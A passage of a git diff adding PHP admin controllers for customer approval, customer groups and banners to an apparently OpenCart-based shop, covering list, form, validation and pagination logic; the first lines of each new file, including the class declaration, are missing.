+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $url .= '&filter_type=' . $this->request->get['filter_type'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_approval', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_email'] = $filter_email;
+ $data['filter_customer_group_id'] = $filter_customer_group_id;
+ $data['filter_type'] = $filter_type;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_approval', $data));
+ }
+
+ public function customer_approval() {
+ $this->load->language('customer/customer_approval');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $filter_type = $this->request->get['filter_type'];
+ } else {
+ $filter_type = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['customer_approvals'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_customer_group_id' => $filter_customer_group_id,
+ 'filter_type' => $filter_type,
+ 'filter_date_added' => $filter_date_added,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $this->load->model('customer/customer_approval');
+
+ $customer_approval_total = $this->model_customer_customer_approval->getTotalCustomerApprovals($filter_data);
+
+ $results = $this->model_customer_customer_approval->getCustomerApprovals($filter_data);
+
+ foreach ($results as $result) {
+ $data['customer_approvals'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'name' => $result['name'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'type' => $this->language->get('text_' . $result['type']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'approve' => $this->url->link('customer/customer_approval/approve', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&type=' . $result['type'], true),
+ 'deny' => $this->url->link('customer/customer_approval/deny', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&type=' . $result['type'], true),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_type'])) {
+ $url .= '&filter_type=' . $this->request->get['filter_type'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_approval_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer_approval/customer_approval', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_approval_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_approval_total - $this->config->get('config_limit_admin'))) ? $customer_approval_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_approval_total, ceil($customer_approval_total / $this->config->get('config_limit_admin')));
+
+ $this->response->setOutput($this->load->view('customer/customer_approval_list', $data));
+ }
+
+ public function approve() {
+ $this->load->language('customer/customer_approval');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer_approval')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer_approval');
+
+ if ($this->request->get['type'] == 'customer') {
+ $this->model_customer_customer_approval->approveCustomer($this->request->get['customer_id']);
+ } elseif ($this->request->get['type'] == 'affiliate') {
+ $this->model_customer_customer_approval->approveAffiliate($this->request->get['customer_id']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function deny() {
+ $this->load->language('customer/customer_approval');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'customer/customer_approval')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('customer/customer_approval');
+
+ if ($this->request->get['type'] == 'customer') {
+ $this->model_customer_customer_approval->denyCustomer($this->request->get['customer_id']);
+ } elseif ($this->request->get['type'] == 'affiliate') {
+ $this->model_customer_customer_approval->denyAffiliate($this->request->get['customer_id']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/customer/customer_group.php b/public/admin/controller/customer/customer_group.php
new file mode 100644
index 0000000..0bafbc1
--- /dev/null
+++ b/public/admin/controller/customer/customer_group.php
@@ -0,0 +1,378 @@
+load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer_group->addCustomerGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer_group->editCustomerGroup($this->request->get['customer_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/customer_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $customer_group_id) {
+ $this->model_customer_customer_group->deleteCustomerGroup($customer_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'cgd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/customer_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('customer/customer_group/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['customer_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_group_total = $this->model_customer_customer_group->getTotalCustomerGroups();
+
+ $results = $this->model_customer_customer_group->getCustomerGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['customer_groups'][] = array(
+ 'customer_group_id' => $result['customer_group_id'],
+ 'name' => $result['name'] . (($result['customer_group_id'] == $this->config->get('config_customer_group_id')) ? $this->language->get('text_default') : null),
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('customer/customer_group/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_group_id=' . $result['customer_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . '&sort=cgd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . '&sort=cg.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_group_total - $this->config->get('config_limit_admin'))) ? $customer_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_group_total, ceil($customer_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['customer_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['customer_group_id'])) {
+ $data['action'] = $this->url->link('customer/customer_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/customer_group/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_group_id=' . $this->request->get['customer_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/customer_group', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['customer_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $customer_group_info = $this->model_customer_customer_group->getCustomerGroup($this->request->get['customer_group_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['customer_group_description'])) {
+ $data['customer_group_description'] = $this->request->post['customer_group_description'];
+ } elseif (isset($this->request->get['customer_group_id'])) {
+ $data['customer_group_description'] = $this->model_customer_customer_group->getCustomerGroupDescriptions($this->request->get['customer_group_id']);
+ } else {
+ $data['customer_group_description'] = array();
+ }
+
+ if (isset($this->request->post['approval'])) {
+ $data['approval'] = $this->request->post['approval'];
+ } elseif (!empty($customer_group_info)) {
+ $data['approval'] = $customer_group_info['approval'];
+ } else {
+ $data['approval'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($customer_group_info)) {
+ $data['sort_order'] = $customer_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/customer_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['customer_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/customer_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+
+ foreach ($this->request->post['selected'] as $customer_group_id) {
+ if ($this->config->get('config_customer_group_id') == $customer_group_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCustomerGroupId($customer_group_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $customer_total = $this->model_customer_customer->getTotalCustomersByCustomerGroupId($customer_group_id);
+
+ if ($customer_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_customer'), $customer_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/design/banner.php b/public/admin/controller/design/banner.php
new file mode 100644
index 0000000..8a168ab
--- /dev/null
+++ b/public/admin/controller/design/banner.php
@@ -0,0 +1,403 @@
+load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_banner->addBanner($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_banner->editBanner($this->request->get['banner_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/banner');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $banner_id) {
+ $this->model_design_banner->deleteBanner($banner_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('design/banner/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/banner/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['banners'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $banner_total = $this->model_design_banner->getTotalBanners();
+
+ $results = $this->model_design_banner->getBanners($filter_data);
+
+ foreach ($results as $result) {
+ $data['banners'][] = array(
+ 'banner_id' => $result['banner_id'],
+ 'name' => $result['name'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'edit' => $this->url->link('design/banner/edit', 'user_token=' . $this->session->data['user_token'] . '&banner_id=' . $result['banner_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_status'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $banner_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($banner_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($banner_total - $this->config->get('config_limit_admin'))) ? $banner_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $banner_total, ceil($banner_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/banner_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['banner_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['banner_image'])) {
+ $data['error_banner_image'] = $this->error['banner_image'];
+ } else {
+ $data['error_banner_image'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['banner_id'])) {
+ $data['action'] = $this->url->link('design/banner/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/banner/edit', 'user_token=' . $this->session->data['user_token'] . '&banner_id=' . $this->request->get['banner_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/banner', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['banner_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $banner_info = $this->model_design_banner->getBanner($this->request->get['banner_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($banner_info)) {
+ $data['name'] = $banner_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($banner_info)) {
+ $data['status'] = $banner_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['banner_image'])) {
+ $banner_images = $this->request->post['banner_image'];
+ } elseif (isset($this->request->get['banner_id'])) {
+ $banner_images = $this->model_design_banner->getBannerImages($this->request->get['banner_id']);
+ } else {
+ $banner_images = array();
+ }
+
+ $data['banner_images'] = array();
+
+ foreach ($banner_images as $key => $value) {
+ foreach ($value as $banner_image) {
+ if (is_file(DIR_IMAGE . $banner_image['image'])) {
+ $image = $banner_image['image'];
+ $thumb = $banner_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['banner_images'][$key][] = array(
+ 'title' => $banner_image['title'],
+ 'link' => $banner_image['link'],
+ 'description' => $banner_image['description'],
+ 'button_text' => $banner_image['button_text'],
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'image_mobile' => $banner_image['image_mobile'],
+ 'mobile_thumb' => $banner_image['image_mobile'] && is_file(DIR_IMAGE . $banner_image['image_mobile']) ? $this->model_tool_image->resize($banner_image['image_mobile'], 100, 100) : $this->model_tool_image->resize('no_image.png', 100, 100),
+ 'sort_order' => $banner_image['sort_order']
+ );
+ }
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/banner_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (isset($this->request->post['banner_image'])) {
+ foreach ($this->request->post['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image_id => $banner_image) {
+ if ((utf8_strlen($banner_image['title']) < 2) || (utf8_strlen($banner_image['title']) > 64)) {
+ $this->error['banner_image'][$language_id][$banner_image_id] = $this->language->get('error_title');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
